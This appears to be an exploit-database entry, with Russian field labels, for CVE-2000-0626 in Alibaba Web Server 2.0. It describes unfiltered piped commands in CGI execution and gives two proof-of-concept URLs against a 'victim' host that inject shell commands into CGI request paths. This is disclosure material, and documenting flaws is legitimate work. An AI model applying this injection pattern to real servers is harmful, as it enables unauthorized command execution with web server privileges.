Exploit Computer Software Manufaktur Alibaba 2.0 - Piped Command

[Exploiter]

EDB-ID

20085

Проверка EDB

1. Пройдено

Автор

PRIZM

Тип уязвимости

REMOTE

Платформа

CGI

CVE

cve-2000-0626

Дата публикации

2000-07-18

source: https://www.securityfocus.com/bid/1485/info

Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine. 

http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt
http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir]